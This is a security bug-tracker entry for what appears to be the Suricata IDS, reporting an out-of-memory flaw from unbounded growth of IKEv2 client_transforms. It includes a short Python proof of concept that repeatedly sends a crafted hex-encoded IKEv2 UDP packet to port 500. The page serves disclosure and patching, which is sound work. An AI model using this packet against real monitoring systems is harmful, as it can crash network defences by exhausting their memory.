Project

General

Profile

Actions

Security #8415

closed
PA PA

ikev2: OOM due to unbounded client_transforms

Security #8415: ikev2: OOM due to unbounded client_transforms

Added by Philippe Antoine 4 months ago. Updated 20 days ago.

Status:
Closed
Priority:
Normal
Target version:
Affected Versions:
Label:
Git IDs:
Severity:
CRITICAL
Disclosure Date:

Description

The line state.ikev2_container.client_transforms.push(transforms); in ikev2.rs just keeps increasing without bounds

POC is simply just sending the same UDP packet over and over again even if there is no server

import socket
import binascii
import time

server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_socket.bind(('', 3268))

ike = binascii.unhexlify("61d3693ce12af52800000000000000002820220800000000000000f02200001c312fd2e1cea72d0f7f3d1ccac96bb0c4c8d70f39dba193e42100008800020000b0c808b9480d4d4ae92c0e8f115d9338d4d0bb8361cfd19562ee5e2444b7f67137e472b2aa9b4455bafc4abadd89daa86e0583ffd2abb28933faa3fabf3ee84430c05afeb9652fc9befd377dd9d10001cd656eb617ba3ba39d0346f91a063bba6d186a3f20188ca0e8e4b79e3e912f13d309a8d655501592f742e408fda88ddc000000300000002c010100040300000c0100000c800e01000300000802000005030000080300000c0000000804000002")

for i in range(1024):
    a = server_socket.sendto(ike, ("127.0.0.1", 500))
    time.sleep(0.1)

sock.close()

CRITICAL like https://redmine.openinfosecfoundation.org/issues/8182 : OOM from UDP protocol


Subtasks 2 (0 open2 closed)

Security #8416: ikev2: OOM due to unbounded client_transforms (8.0.x backport)ClosedPhilippe AntoineActions
Security #8417: ikev2: OOM due to unbounded client_transforms (7.0.x backport)ClosedPhilippe AntoineActions
Actions

Also available in: PDF Atom